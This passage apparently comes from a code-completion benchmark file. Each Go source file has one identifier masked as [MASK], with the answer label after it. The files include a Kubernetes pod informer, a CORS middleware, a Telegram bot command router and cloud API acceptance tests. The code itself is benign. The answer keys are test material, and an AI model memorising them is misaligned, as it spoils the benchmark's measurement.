DisableDumpBody: *disableDumpBody, H2: *h2, ProxyAddr: proxyURL, Output: *output, } w.Init() c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt) go func() { <-c w.Stop() }() if dur > 0 { go func() { time.Sleep(dur) w.Stop() }() } w.Run() } func errAndExit(msg string) { fmt.Fprintln(os.Stderr, msg) os.Exit(1) } func usageAndExit(msg string) { if msg != """" { fmt.Fprint(os.Stderr, msg, ""\n\n"") } flag.Usage() fmt.Fprintln(os.Stderr) os.Exit(1) } func parseInputWithRegexp(input, [MASK] string) ([]string, error) { re := regexp.MustCompile( [MASK] ) matches := re.FindStringSubmatch(input) if len(matches) < 1 { return nil, fmt.Errorf(""could not parse the provided input; input = %v"", input) } return matches, nil } func getURL(url string) string { if strings.HasPrefix(url, "":"") { url = ""http://127.0.0.1"" + url return url } parsedURL, err := gourl.Parse(url) if err != nil { return url } if parsedURL.Scheme == """" { parsedURL.Scheme = ""http"" } return parsedURL.String() } type headerSlice []string func (h *headerSlice) String() string { return fmt.Sprintf(""%s"", *h) } func (h *headerSlice) Set(value string) error { *h = append(*h, value) return nil } ",regx 579,"package main import ( ""bytes"" ""context"" ""flag"" ""fmt"" ""github.com/anthdm/hollywood/actor"" ""github.com/spf13/viper"" ""io"" v1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/informers"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/cache"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/client-go/util/homedir"" ""log"" ""net/http"" ""os"" ""path/filepath"" ""runtime"" ""time"" ) type programContext struct { clientset *kubernetes.Clientset config *Config } func (pc *programContext) httpHandler(w http.ResponseWriter, r *http.Request) { log.Println(""Reading file"") content, err := os.ReadFile(""content/content.txt"") if err != nil { fmt.Fprintf(w, ""Cannot read content file\n"") } else { fmt.Fprintf(w, string(content)) } err = printNumberOfPods(w, pc.clientset, pc.config.namespaces) if err != nil { log.Println(err.Error()) } } func startListener(pc *programContext) error { log.Println(""Starting listener 2"") http.HandleFunc(""/"", pc.httpHandler) return http.ListenAndServe("":8080"", nil) } type Config struct { namespaces []string } func NewConfig(v *viper.Viper) (cfg *Config, err error) { cfg = &Config{ namespaces: v.GetStringSlice(""namespaces""), } return cfg, nil } func main() { cfgFile := flag.String(""config"", """", ""config file"") inCluster := flag.Bool(""pod"", false, ""run in POD"") kubeconfig := flag.String(""kubeconfig"", """", ""absolute path to the kubeconfig file"") flag.Parse() if *cfgFile != """" { // Use config file from the flag. fmt.Fprintf(os.Stdout, ""Config file: %s"", *cfgFile) viper.SetConfigFile(*cfgFile) } else { fmt.Fprintf(os.Stdout, ""No Config file specified\n"") } // If a config file is found, read it in. if *cfgFile != """" { if err := viper.ReadInConfig(); err != nil { fmt.Fprintln(os.Stderr, ""Failed to read config file: "", viper.ConfigFileUsed()) } else { fmt.Fprintln(os.Stdout, ""Config file read done: "", viper.ConfigFileUsed()) } } cfg, err := NewConfig(viper.GetViper()) if err != nil { panic(err.Error()) } var restConfig *rest.Config if *inCluster { fmt.Println(""Running in Kubernetes Pod"") // https://github.com/kubernetes/client-go/blob/v0.29.2/examples/in-cluster-client-configuration/main.go // creates the in-cluster config restConfig, err = rest.InClusterConfig() } else { if *kubeconfig == """" { if home := homedir.HomeDir(); home != """" { *kubeconfig = filepath.Join(home, "".kube"", ""config"") } } restConfig, err = clientcmd.BuildConfigFromFlags("""", *kubeconfig) } if err != nil { panic(err.Error()) } clientSet, err := kubernetes.NewForConfig(restConfig) if err != nil { panic(err.Error()) } pc := &programContext{clientset: clientSet, config: cfg} err = printNumberOfPods(os.Stdout, pc.clientset, pc.config.namespaces) if err != nil { panic(err.Error()) } // create actor engine engine, err := actor.NewEngine(actor.NewEngineConfig()) var pid *actor.PID = engine.Spawn(newKubeWatcherActor, ""kube-watcher"") engine.Send(pid, ""hello world!"") // NewSharedInformerFactory will create a new ShareInformerFactory for ""all namespaces” // 30*time.Second is the re-sync period to update the in-memory cache of informer informerFactory := informers.NewSharedInformerFactory(clientSet, 30*time.Second) [MASK] := informerFactory.Core().V1().Pods() c := Controller{engine, pid} informer := [MASK] .Informer() _, err = informer.AddEventHandler( &cache.ResourceEventHandlerFuncs{ AddFunc: c.HandleAdd, DeleteFunc: c.HandleDelete, UpdateFunc: c.HandleUpdate, }) if err != nil { panic(err.Error()) } // creating a unbuffered channel to synchronize the update stopChan := make(chan struct{}) // To stop the channel automatically at the end of our main functions defer close(stopChan) go [MASK] .Informer().Run(stopChan) err = startListener(pc) if err != nil { panic(err.Error()) } } func printNumberOfPods(w io.Writer, clientset *kubernetes.Clientset, namespaces []string) error { if len(namespaces) == 0 { // get pods in all the namespaces by omitting namespace pods, err := clientset.CoreV1().Pods("""").List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } fmt.Fprintf(w, ""There are %d pods in all namespaces in the cluster\n"", len(pods.Items)) } else { for _, namespace := range namespaces { pods, err := clientset.CoreV1().Pods(namespace).List(context.TODO(), metav1.ListOptions{}) if err != nil { return err } fmt.Fprintf(w, ""There are %d pods in namespace %s in the cluster\n"", len(pods.Items), namespace) } } return nil } type message struct{ data string } type MsgAdded struct { AddedObj interface{} } type MsgDeleted struct { DeletedObj interface{} } type MsgUpdated struct { OldObj interface{} NewObj interface{} } type podWatcher struct{} func newKubeWatcherActor() actor.Receiver { return &podWatcher{} } func (h *podWatcher) Receive(ctx *actor.Context) { switch msg := ctx.Message().(type) { case actor.Initialized: fmt.Println(""kube-watcher has initialized"") case actor.Started: fmt.Println(""kube-watcher has started"") case actor.Stopped: fmt.Println(""kube-watcher has stopped"") case MsgAdded: //fmt.Printf(""Added: %s"", msg.AddedObj) fmt.Printf(""Added %T %s\n"", msg.AddedObj, GoId()) if pod, ok := (msg.AddedObj).(*v1.Pod); ok { fmt.Printf(""POD Name: %s/%s\n"", pod.Namespace, pod.Name) } case MsgDeleted: //fmt.Printf(""Deleted: %s"", msg.DeletedObj) fmt.Printf(""Deleted %T %s\n"", msg.DeletedObj, GoId()) if pod, ok := (msg.DeletedObj).(*v1.Pod); ok { fmt.Printf(""POD Name: %s/%s\n"", pod.Namespace, pod.Name) } case MsgUpdated: //fmt.Printf(""Updated: %s -> %s"", msg.OldObj, msg.NewObj) //fmt.Printf(""Updated %T -> %T %s\n"", msg.OldObj, msg.NewObj, GoId()) if msg.OldObj != msg.NewObj { fmt.Printf(""POD Changed\n"") if pod, ok := (msg.OldObj).(*v1.Pod); ok { fmt.Printf(""Old POD Name: %s/%s\n"", pod.Namespace, pod.Name) } if pod, ok := (msg.NewObj).(*v1.Pod); ok { fmt.Printf(""New POD Name: %s/%s\n"", pod.Namespace, pod.Name) } } case *message: fmt.Printf(""received message: %s\n"", msg.data) } } func GoId() string { var buffer [31]byte _ = runtime.Stack(buffer[:], false) return string(bytes.Fields(buffer[10:])[0]) } func (c *Controller) HandleAdd(obj interface{}) { //fmt.Printf(""inside add function %s\n"", GoId()) c.engine.Send(c.pid, MsgAdded{AddedObj: obj}) } func (c *Controller) HandleDelete(obj interface{}) { //fmt.Printf(""inside delete function %s\n"", GoId()) c.engine.Send(c.pid, MsgDeleted{DeletedObj: obj}) } func (c *Controller) HandleUpdate(old, new interface{}) { //fmt.Printf(""inside update function %s\n"", GoId()) c.engine.Send(c.pid, MsgUpdated{OldObj: old, NewObj: new}) } type Controller struct { engine *actor.Engine pid *actor.PID } ",podInformer 580,"package main import ( ""backend/config"" _ ""backend/docs"" ""backend/router"" ""log"" ""net/http"" httpSwagger ""github.com/swaggo/http-swagger"" ) // @title 개인 프로젝트 API // @version 1.0.0 // @securityDefinitions.apikey BearerAuth // @in header // @name Authorization // @host localhost:8080 // @BasePath /api func enableCORS(allowedOrigins []string) func(http.Handler) http.Handler { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { [MASK] := r.Header.Get(""Origin"") for _, allowedOrigin := range allowedOrigins { if [MASK] == allowedOrigin { w.Header().Set(""Access-Control-Allow-Origin"", [MASK] ) break } } w.Header().Set(""Access-Control-Allow-Methods"", ""GET, POST, PUT, DELETE, OPTIONS"") w.Header().Set(""Access-Control-Allow-Headers"", ""Authorization, Content-Type"") if r.Method == ""OPTIONS"" { w.WriteHeader(http.StatusOK) return } next.ServeHTTP(w, r) }) } } func main() { db, err := config.NewDB() if err != nil { log.Fatal(""Error connecting to the database:"", err) } defer db.Close() mainMux := http.NewServeMux() allowedOrigins := []string{ ""http://localhost:3000"", ""http://localhost:8080"", } corsMiddleware := enableCORS(allowedOrigins) mainMux.Handle(""/"", corsMiddleware(router.NewMainLoggedRouter(db))) mainMux.Handle(""/api/users"", corsMiddleware(router.NewUserLoggedRouter(db))) mainMux.Handle(""/api/users/"", corsMiddleware(router.NewUserLoggedRouter(db))) mainMux.Handle(""/api/feeds/"", corsMiddleware(router.NewFeedbackLoggedRouter(db))) mainMux.Handle(""/docs/"", httpSwagger.Handler( httpSwagger.URL(""http://localhost:8080/docs/doc.json""), )) log.Println(""Server is listening on port 8080..."") log.Fatal(http.ListenAndServe("":8080"", mainMux)) } ",origin 581,"package public import ( ""net/http"" ""github.com/fs714/github-star-manager/db/jsondb"" ""github.com/fs714/github-star-manager/pkg/github_api"" ""github.com/fs714/github-star-manager/pkg/utils/code"" ""github.com/fs714/github-star-manager/pkg/utils/log"" ""github.com/gin-gonic/gin"" ""github.com/pkg/errors"" ) func SyncFromGithub(c *gin.Context) { msg, err := doSyncFromGithub(c) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{ ""status"": code.RespCommonError, ""msg"": msg, ""data"": """", }) log.Errorf(""failed to sync from github:\n%+v"", err) return } c.JSON(http.StatusOK, gin.H{ ""status"": code.RespOk, ""msg"": """", ""data"": """", }) } func doSyncFromGithub(c *gin.Context) (string, error) { var msg string var postData = struct { User string }{} err := c.ShouldBindJSON(&postData) if err != nil { msg = ""failed to bind post json to struct"" err = errors.Wrap(err, msg) return msg, err } repos, err := github_api.GetStarredRepos(postData.User) if err != nil { msg = ""failed to get starred repos from github"" err = errors.Wrap(err, msg) return msg, err } [MASK] := jsondb.NewRepositories() for _, repo := range repos { path, _, r := jsondb.Jsondb.GetAllRepositoryByName(*repo.Repository.FullName) if r != nil { if repo.Repository.FullName != nil { r.Name = *repo.Repository.FullName } if repo.Repository.HTMLURL != nil { r.Url = *repo.Repository.HTMLURL } if repo.Repository.Language != nil { r.Language = *repo.Repository.Language } if repo.Repository.StargazersCount != nil { r.StarsCount = *repo.Repository.StargazersCount } if repo.Repository.ForksCount != nil { r.ForksCount = *repo.Repository.ForksCount } if repo.Repository.Description != nil { r.Description = *repo.Repository.Description } r.CreatedAt = repo.Repository.CreatedAt.Unix() r.UpdatedAt = repo.Repository.UpdatedAt.Unix() r.PushedAt = repo.Repository.PushedAt.Unix() [MASK] .Add(path, r) } else { r := &jsondb.Repository{ CreatedAt: repo.Repository.CreatedAt.Unix(), UpdatedAt: repo.Repository.UpdatedAt.Unix(), PushedAt: repo.Repository.PushedAt.Unix(), } if repo.Repository.FullName != nil { r.Name = *repo.Repository.FullName } if repo.Repository.HTMLURL != nil { r.Url = *repo.Repository.HTMLURL } if repo.Repository.Language != nil { r.Language = *repo.Repository.Language } if repo.Repository.StargazersCount != nil { r.StarsCount = *repo.Repository.StargazersCount } if repo.Repository.ForksCount != nil { r.ForksCount = *repo.Repository.ForksCount } if repo.Repository.Description != nil { r.Description = *repo.Repository.Description } [MASK] .Add([]string{}, r) } } err = jsondb.Jsondb.LoadRepositories( [MASK] ) if err != nil { msg = ""failed to load new repositories to db"" err = errors.Wrap(err, msg) return msg, err } return msg, err } ",newRepos 582,"package checker import ( ""fmt"" ""strings"" ""github.com/TwiN/go-color"" ""github.com/getkin/kin-openapi/openapi3"" ""github.com/oasdiff/oasdiff/diff"" ""github.com/oasdiff/oasdiff/load"" ) // ApiChange represnts a change in the Paths Section of an OpenAPI spec type ApiChange struct { CommonChange Id string Args []any Comment string Level Level Operation string OperationId string Path string Source *load.Source SourceFile string SourceLine int SourceLineEnd int SourceColumn int SourceColumnEnd int } // NewApiChange creates a new ApiChange // TODO: use opInfo to simplify the function signature func NewApiChange(id string, config *Config, args []any, comment string, operationsSources *diff.OperationsSourcesMap, operation *openapi3.Operation, method, path string) ApiChange { return ApiChange{ Id: id, Level: config.getLogLevel(id), Args: args, Comment: comment, OperationId: operation.OperationID, Operation: method, Path: path, Source: load.NewSource((*operationsSources)[operation]), CommonChange: CommonChange{ Attributes: getAttributes(config, operation), }, } } func getAttributes(config *Config, operation *openapi3.Operation) map[string]any { result := map[string]any{} for _, tag := range config.Attributes { if val, ok := operation.Extensions[tag]; ok { result[tag] = val } } if len(result) == 0 { return nil } return result } func (c ApiChange) GetSection() string { return ""paths"" } func (c ApiChange) IsBreaking() bool { return c.GetLevel().IsBreaking() } func (c ApiChange) MatchIgnore( [MASK] , ignoreLine string, l Localizer) bool { if [MASK] == """" { return false } return [MASK] == strings.ToLower(c.Path) && strings.Contains(ignoreLine, strings.ToLower(c.Operation+"" ""+c.Path)) && strings.Contains(ignoreLine, strings.ToLower(c.GetUncolorizedText(l))) } func (c ApiChange) GetId() string { return c.Id } func (c ApiChange) GetText(l Localizer) string { return l(c.Id, colorizedValues(c.Args)...) } func (c ApiChange) GetArgs() []any { return c.Args } func (c ApiChange) GetUncolorizedText(l Localizer) string { return l(c.Id, quotedValues(c.Args)...) } func (c ApiChange) GetComment(l Localizer) string { return l(c.Comment) } func (c ApiChange) GetLevel() Level { return c.Level } func (c ApiChange) GetOperation() string { return c.Operation } func (c ApiChange) GetOperationId() string { return c.OperationId } func (c ApiChange) GetPath() string { return c.Path } func (c ApiChange) GetSource() string { return c.Source.String() } func (c ApiChange) GetSourceFile() string { if c.SourceFile != """" { return c.SourceFile } if c.Source.IsFile() { return c.Source.String() } return """" } func (c ApiChange) GetSourceLine() int { return c.SourceLine } func (c ApiChange) GetSourceLineEnd() int { return c.SourceLineEnd } func (c ApiChange) GetSourceColumn() int { return c.SourceColumn } func (c ApiChange) GetSourceColumnEnd() int { return c.SourceColumnEnd } func (c ApiChange) SingleLineError(l Localizer, colorMode ColorMode) string { const format = ""%s %s %s, %s API %s %s %s [%s]. %s"" if isColorEnabled(colorMode) { return fmt.Sprintf(format, c.Level.PrettyString(), l(""at""), c.GetSource(), l(""in""), color.InGreen(c.Operation), color.InGreen(c.Path), c.GetText(l), color.InYellow(c.Id), c.GetComment(l)) } return fmt.Sprintf(format, c.Level.String(), l(""at""), c.GetSource(), l(""in""), c.Operation, c.Path, c.GetUncolorizedText(l), c.Id, c.GetComment(l)) } func (c ApiChange) MultiLineError(l Localizer, colorMode ColorMode) string { const format = ""%s\t[%s] %s %s\t\n\t%s API %s %s\n\t\t%s%s"" if isColorEnabled(colorMode) { return fmt.Sprintf(format, c.Level.PrettyString(), color.InYellow(c.Id), l(""at""), c.GetSource(), l(""in""), color.InGreen(c.Operation), color.InGreen(c.Path), c.GetText(l), multiLineComment(c.GetComment(l))) } return fmt.Sprintf(format, c.Level.String(), c.Id, l(""at""), c.GetSource(), l(""in""), c.Operation, c.Path, c.GetUncolorizedText(l), multiLineComment(c.GetComment(l))) } func multiLineComment(comment string) string { if comment == """" { return """" } return fmt.Sprintf(""\n\t\t%s"", comment) } ",ignorePath 583,"package config import ( ""encoding/json"" ""fmt"" ""log"" ""os"" ) const DefaultConfigName = ""config.json"" type Config struct { Bind string `json:""bind""` Postgres PostgresConfig `json:""postgres""` } type PostgresConfig struct { Host string `json:""host""` Port uint16 `json:""port""` Dbname string `json:""dbname""` User string `json:""user""` Password string `json:""password""` } func (config *Config) String() string { marshal, err := json.Marshal(&config) if err != nil { log.Fatal(err) } return string(marshal) } func (config *Config) PostgresConfig() string { return fmt.Sprintf(""host=%s port=%d user=%s password=%s dbname=%s sslmode=disable"", config.Postgres.Host, config.Postgres.Port, config.Postgres.User, config.Postgres.Password, config.Postgres.Dbname) } func Read(configName string) Config { var config Config file, errOpen := os.Open(configName) if errOpen != nil { log.Fatal(errOpen) } [MASK] := json.NewDecoder(file).Decode(&config) if [MASK] != nil { log.Fatal( [MASK] ) } _ = file.Close() log.Printf(""config=%v"", config) return config } ",errDecode 584,"package commands import ( ""strings"" tgbotapi ""github.com/go-telegram-bot-api/telegram-bot-api"" ) // Command executes a bot command func Command( [MASK] tgbotapi.Update, bot *tgbotapi.BotAPI) { argv := strings.SplitN( [MASK] .Message.Text, "" "", 3) cmd := argv[0][1:] args := argv[1:] switch cmd { case ""addquote"": addquote( [MASK] , bot, args) case ""quote"": quote( [MASK] , bot, args) case ""info"": info( [MASK] , bot, args) case ""rquote"": rquote( [MASK] , bot, args) case ""top"": top( [MASK] , bot, args) case ""culote"": culote( [MASK] , bot, args) case ""chuches"": chuches( [MASK] , bot, args) case ""w00g"": w00g( [MASK] , bot, args) case ""soy"": soy( [MASK] , bot, args) case ""quienes"": quienes( [MASK] , bot, args) case ""es"": es( [MASK] , bot, args) case ""delquote"": deleteQuote( [MASK] , bot, args) case ""undelquote"": undeleteQuote( [MASK] , bot, args) case ""repite"": repite( [MASK] , bot, args) case ""patron"": patron( [MASK] , bot, args) case ""manager"": manager( [MASK] , bot, args) } } ",update 585,"package main import ( ""flag"" ""fmt"" ""io"" ""os"" ""path/filepath"" ""strings"" ) func main() { var ( outputDir = flag.String(""output-dir"", """", ""Output directory for WAC deps"") manifest = flag.String(""manifest"", """", ""Component manifest content"") profileInfo = flag.String(""profile-info"", """", ""Profile info content"") useSymlinks = flag.Bool(""use-symlinks"", true, ""Use symlinks instead of copying"") ) flag.Parse() if *outputDir == """" { fmt.Fprintf(os.Stderr, ""Error: --output-dir is required\n"") os.Exit(1) } // Parse component arguments components := make(map[string]string) for _, arg := range flag.Args() { if strings.HasPrefix(arg, ""--component="") { parts := strings.SplitN(arg[12:], ""="", 2) if len(parts) == 2 { components[parts[0]] = parts[1] } } } // Create output directory if err := os.MkdirAll(*outputDir, 0755); err != nil { fmt.Fprintf(os.Stderr, ""Error creating output directory: %v\n"", err) os.Exit(1) } // Create component files for name, path := range components { destPath := filepath.Join(*outputDir, name+"".wasm"") if *useSymlinks { // Create relative symlink relPath, err := filepath.Rel(filepath.Dir(destPath), path) if err != nil { fmt.Fprintf(os.Stderr, ""Error computing relative path for %s: %v\n"", name, err) os.Exit(1) } if err := os.Symlink(relPath, destPath); err != nil { fmt.Fprintf(os.Stderr, ""Error creating symlink for %s: %v\n"", name, err) os.Exit(1) } } else { // Copy file if err := copyFile(path, destPath); err != nil { fmt.Fprintf(os.Stderr, ""Error copying file for %s: %v\n"", name, err) os.Exit(1) } } } // Create manifest file if *manifest != """" { manifestPath := filepath.Join(*outputDir, ""components.toml"") if err := os.WriteFile(manifestPath, []byte(*manifest), 0644); err != nil { fmt.Fprintf(os.Stderr, ""Error writing manifest: %v\n"", err) os.Exit(1) } } // Create profile info file if *profileInfo != """" { profilePath := filepath.Join(*outputDir, ""profile_info.txt"") if err := os.WriteFile(profilePath, []byte(*profileInfo), 0644); err != nil { fmt.Fprintf(os.Stderr, ""Error writing profile info: %v\n"", err) os.Exit(1) } } } func copyFile( [MASK] , dst string) error { sourceFile, err := os.Open( [MASK] ) if err != nil { return err } defer sourceFile.Close() destFile, err := os.Create(dst) if err != nil { return err } defer destFile.Close() _, err = io.Copy(destFile, sourceFile) if err != nil { return err } return destFile.Sync() }",src 586,"// Copyright 2021-2025 The phy-api-go authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package phy import ( ""context"" ""os"" ""strings"" ""testing"" ""time"" v1 ""github.com/sacloud/phy-api-go/apis/v1"" ""github.com/stretchr/testify/require"" ) const ( EnvNameServerID = ""PHY_TEST_SERVER_ID"" EnvNameDisableServiceAPI = ""PHY_TEST_DISABLE_SERVICE_API"" EnvNameDisableDedicatedSubnetAPI = ""PHY_TEST_DISABLE_DEDICATED_SUBNET_API"" EnvNameDisablePrivateNetworkAPI = ""PHY_TEST_DISABLE_PRIVATE_NETWORK_API"" EnvNameDisableServerAPI = ""PHY_TEST_DISABLE_SERVER_API"" ) var serverPowerControlWaitDuration = 1 * time.Minute // TestAcc_ServiceAPI サービスAPIのテスト // // このテストの実行にはサービスが少なくとも1つ必要です。 func TestAcc_ServiceAPI(t *testing.T) { onlyAcceptanceTest(t) skipIfEnvIsSet(t, EnvNameDisableServiceAPI) client := testClient(t) serviceOp := NewServiceOp(client) ctx := context.Background() // List limit := 1 found, err := serviceOp.List(ctx, &v1.ListServicesParams{ Limit: &limit, }) require.NoError(t, err) // require.Equal(t, 1, found.Meta.Count) 取得した件数ではなく総件数 require.Equal(t, 1, len(found.Services)) // Read serviceId := found.Services[0].ServiceId read, err := serviceOp.Read(ctx, serviceId) require.NoError(t, err) require.NotNil(t, read) // Update originalDesc := """" if read.Description != nil { originalDesc = *read.Description } updDesc := originalDesc + ""-upd"" upd, err := serviceOp.Update(ctx, serviceId, v1.UpdateServiceParameter{ Description: &updDesc, Nickname: read.Nickname, }) require.NoError(t, err) require.EqualValues(t, updDesc, *upd.Description) // 元に戻しておく upd2, err := serviceOp.Update(ctx, serviceId, v1.UpdateServiceParameter{ Description: &originalDesc, Nickname: read.Nickname, }) require.NoError(t, err) require.EqualValues(t, originalDesc, *upd2.Description) } // TestAcc_PrivateNetworkAPI ローカルネットワークAPIのテスト // // このテストの実行にはローカルネットワークが少なくとも1つ必要です。 func TestAcc_PrivateNetworkAPI(t *testing.T) { onlyAcceptanceTest(t) skipIfEnvIsSet(t, EnvNameDisablePrivateNetworkAPI) client := testClient(t) privateNetworkOp := NewPrivateNetworkOp(client) ctx := context.Background() // List limit := 1 found, err := privateNetworkOp.List(ctx, &v1.ListPrivateNetworksParams{ Limit: &limit, }) require.NoError(t, err) require.Len(t, found.PrivateNetworks, 1) privateNetworkId := found.PrivateNetworks[0].PrivateNetworkId // Read read, err := privateNetworkOp.Read(ctx, privateNetworkId) require.NoError(t, err) require.NotNil(t, read) } // TestAcc_DedicatedSubnetAPI グローバルネットワークのテスト // // このテストの実行にはグローバルネットワークが少なくとも1つ必要です。 func TestAcc_DedicatedSubnetAPI(t *testing.T) { onlyAcceptanceTest(t) skipIfEnvIsSet(t, EnvNameDisableDedicatedSubnetAPI) client := testClient(t) dedicatedSubnetOp := NewDedicatedSubnetOp(client) ctx := context.Background() // List limit := 1 found, err := dedicatedSubnetOp.List(ctx, &v1.ListDedicatedSubnetsParams{ Limit: &limit, }) require.NoError(t, err) require.Len(t, found.DedicatedSubnets, 1) id := found.DedicatedSubnets[0].DedicatedSubnetId // Read read, err := dedicatedSubnetOp.Read(ctx, id, false) require.NoError(t, err) require.NotNil(t, read) } // TestAcc_ServerAPI サーバのテスト // // このテストの実行には""PHY_TEST_SERVER_ID""環境変数の指定が必要です。 // // また、以下の更新系APIはテスト対象外です。 // - OSInstall // - ConfigureBonding // - AssignNetwork func TestAcc_ServerAPI(t *testing.T) { onlyAcceptanceTest(t) skipIfEnvIsSet(t, EnvNameDisableServerAPI) envId := strings.TrimSpace(os.Getenv(EnvNameServerID)) if envId == """" { t.Skip(""environment variable 'PHY_TEST_SERVER_ID' is not set. skip"") } serverId := envId client := testClient(t) serverOp := NewServerOp(client) ctx := context.Background() var portChannelId v1.PortChannelId var portId v1.PortId var port *v1.InterfacePort var currentPowerStatus v1.ServerPowerStatusStatus t.Run(""List"", func(t *testing.T) { limit := 1 found, err := serverOp.List(ctx, &v1.ListServersParams{ Limit: &limit, }) require.NoError(t, err) require.Len(t, found.Servers, 1) }) t.Run(""Read"", func(t *testing.T) { read, err := serverOp.Read(ctx, serverId) require.NoError(t, err) require.NotNil(t, read) // 後のテストのためにIDを保持しておく portChannelId = read.PortChannels[0].PortChannelId portId = read.Ports[0].PortId }) t.Run(""ListOSImages"", func(t *testing.T) { osImages, err := serverOp.ListOSImages(ctx, serverId) require.NoError(t, err) require.NotEmpty(t, osImages) }) t.Run(""ReadPortChannel"", func(t *testing.T) { portChannel, err := serverOp.ReadPortChannel(ctx, serverId, portChannelId) require.NoError(t, err) require.NotNil(t, portChannel) }) t.Run(""ReadPort"", func(t *testing.T) { read, err := serverOp.ReadPort(ctx, serverId, portId) require.NoError(t, err) require.NotNil(t, read) // 後のテストのために保持しておく port = read }) t.Run(""UpdatePort"", func(t *testing.T) { originalPortName := port.Nickname updatedPort, err := serverOp.UpdatePort(ctx, serverId, portId, v1.UpdateServerPortParameter{ Nickname: originalPortName + ""-upd"", }) require.NoError(t, err) require.Equal(t, originalPortName+""-upd"", updatedPort.Nickname) // 元に戻す _, err = serverOp.UpdatePort(ctx, serverId, portId, v1.UpdateServerPortParameter{ Nickname: originalPortName, }) require.NoError(t, err) }) // EnablePort t.Run(""EnablePort"", func(t *testing.T) { current := port.Enabled updated, err := serverOp.EnablePort(ctx, serverId, portId, !current) require.NoError(t, err) require.NotNil(t, updated) require.Equal(t, updated.Enabled, !current) // 元に戻す _, err = serverOp.EnablePort(ctx, serverId, portId, !current) require.NoError(t, err) }) t.Run(""ReadTrafficByPort"", func(t *testing.T) { trafficData, err := serverOp.ReadTrafficByPort(ctx, serverId, portId, v1.ReadServerTrafficByPortParams{}) require.NoError(t, err) require.NotNil(t, trafficData) require.NotEmpty(t, trafficData.Transmit) require.NotEmpty(t, trafficData.Receive) }) t.Run(""ReadRAIDStatus"", func(t *testing.T) { // 電源ONの場合のみ if currentPowerStatus != v1.ServerPowerStatusStatusOn { t.Skipf(""Server must be running, skip"") } raidStatus, err := serverOp.ReadRAIDStatus(ctx, serverId, true) require.NoError(t, err) require.NotNil(t, raidStatus) }) // PowerControl/ReadPowerStatus t.Run(""PowerControl/ReadPowerStatus"", func(t *testing.T) { [MASK] , err := serverOp.ReadPowerStatus(ctx, serverId) require.NoError(t, err) require.NotNil(t, [MASK] ) currentPowerStatus = [MASK] .Status var operation v1.ServerPowerOperations var reverse v1.ServerPowerStatusStatus switch currentPowerStatus { case v1.ServerPowerStatusStatusOn: operation = v1.ServerPowerOperationsSoft reverse = v1.ServerPowerStatusStatusOff case v1.ServerPowerStatusStatusOff: operation = v1.ServerPowerOperationsOn reverse = v1.ServerPowerStatusStatusOn } require.NoError(t, serverOp.PowerControl(ctx, serverId, operation)) // 電源状態が反映されるまで少し待つ time.Sleep(serverPowerControlWaitDuration) [MASK] , err = serverOp.ReadPowerStatus(ctx, serverId) require.NoError(t, err) require.Equal(t, reverse, [MASK] .Status) // 元に戻しておく switch reverse { case v1.ServerPowerStatusStatusOn: operation = v1.ServerPowerOperationsSoft case v1.ServerPowerStatusStatusOff: operation = v1.ServerPowerOperationsOn } require.NoError(t, serverOp.PowerControl(ctx, serverId, operation)) }) } ",powerStatus 587,"// +build linux /* http://www.apache.org/licenses/LICENSE-2.0.txt Copyright 2016 Intel Corporation Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cgroups import ( ""fmt"" ""os"" ""path/filepath"" ""regexp"" ""strconv"" ""strings"" ""time"" ""github.com/intelsdi-x/snap-plugin-utilities/ns"" ""github.com/intelsdi-x/snap/control/plugin"" ""github.com/intelsdi-x/snap/control/plugin/cpolicy"" ""github.com/intelsdi-x/snap/core"" libcgroups ""github.com/opencontainers/runc/libcontainer/cgroups"" libcgroupsfs ""github.com/opencontainers/runc/libcontainer/cgroups/fs"" ) const ( // namespace vendor prefix NS_VENDOR = ""intel"" // namespace os prefix NS_CLASS = ""linux"" // namespace plugin name NS_PLUGIN = ""cgroups"" // version of plugin VERSION = 2 subsystemID = 3 mountPointPathID = 4 ) type mountpoint struct { subsystem string namespace string metrics []string path string stats *libcgroups.Stats } type cgroups struct { mountPoints []*mountpoint } func NewCgroups(test bool) (*cgroups, error) { c := &cgroups{} // Do not get mountpoints automatically when testing if !test { c.getMountPoints() } return c, nil } func (c *cgroups) CollectMetrics(metricTypes []plugin.MetricType) ([]plugin.MetricType, error) { var data interface{} var metrics []plugin.MetricType for i, metricType := range metricTypes { matchAny := false for _, mountPoint := range c.mountPoints { // Cgroup subsystem match with namespace subsystem if metricType.Namespace()[subsystemID].Value == mountPoint.subsystem { // Cgroup mountpoint match with namespace mountpoint if matchSlice(strings.Split(metricType.Namespace()[mountPointPathID].Value, ""/""), strings.Split(mountPoint.namespace, ""/"")) { mountPoint.getMetrics() for _, mpMetric := range mountPoint.metrics { // Get the metric part from namespace nsMetric := strings.Join(metricType.Namespace().Strings()[mountPointPathID+1:], ""/"") // Remove percpu_usage value suffix for matching if strings.HasPrefix(nsMetric, ""cpu_usage/percpu_usage/"") { nsMetric = strings.TrimSuffix(nsMetric, ""/value"") } // Mountpoint metric match with namespace metric part if matchSlice(strings.Split(nsMetric, ""/""), strings.Split(mpMetric, ""/"")) { // Asterisk exists only in empty containers on static metrics list if strings.Contains(mpMetric, ""*"") { data = nil } else { // CpuStats structure can have only one JSON field name and it is ""cpu_stats"" even for ""cpuacct_stats"", so replace is needed subsystemEntry := strings.Replace(mountPoint.subsystem, ""cpuacct_stats"", ""cpu_stats"", -1) // Get metric data data = 